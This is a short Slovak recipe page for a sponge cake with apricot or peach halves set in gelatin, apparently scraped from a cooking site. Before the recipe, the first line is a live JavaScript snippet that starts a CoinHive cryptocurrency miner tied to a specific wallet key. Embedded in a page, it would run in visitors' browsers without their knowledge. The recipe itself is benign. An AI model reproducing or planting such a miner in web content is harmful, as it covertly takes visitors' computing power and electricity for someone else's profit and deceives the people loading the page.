var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Cesto: 6 vajec, 6 lyžíc kryštálového cukru, 6 lyžíc múky Promix Uni. Cukor so žĺtkami vymiešame do peny, pridáme múku a sneh z bielkov. Cesto vylejeme na vymastený a múkou vysypaný plech a upečieme. Na vychladnutý koláč poukladáme ovocie (polovičky marhúľ, broskýň a pod.) a zalejeme želatínou. Želatína: 700 ml vody alebo kompótovej šťavy, 2 Zlaté klasy, 2 lyžice kryštálového cukru. Vodu zmiešame s cukrom a Zlatým klasom a za stáleho miešania uvaríme. Ešte horúcim zalejeme koláč s ovocím. Necháme stuhnúť, nakrájame na štvorce (trojuholníky), môžeme ozdobiť šľahačkou.

Recept odporúča Ľudka.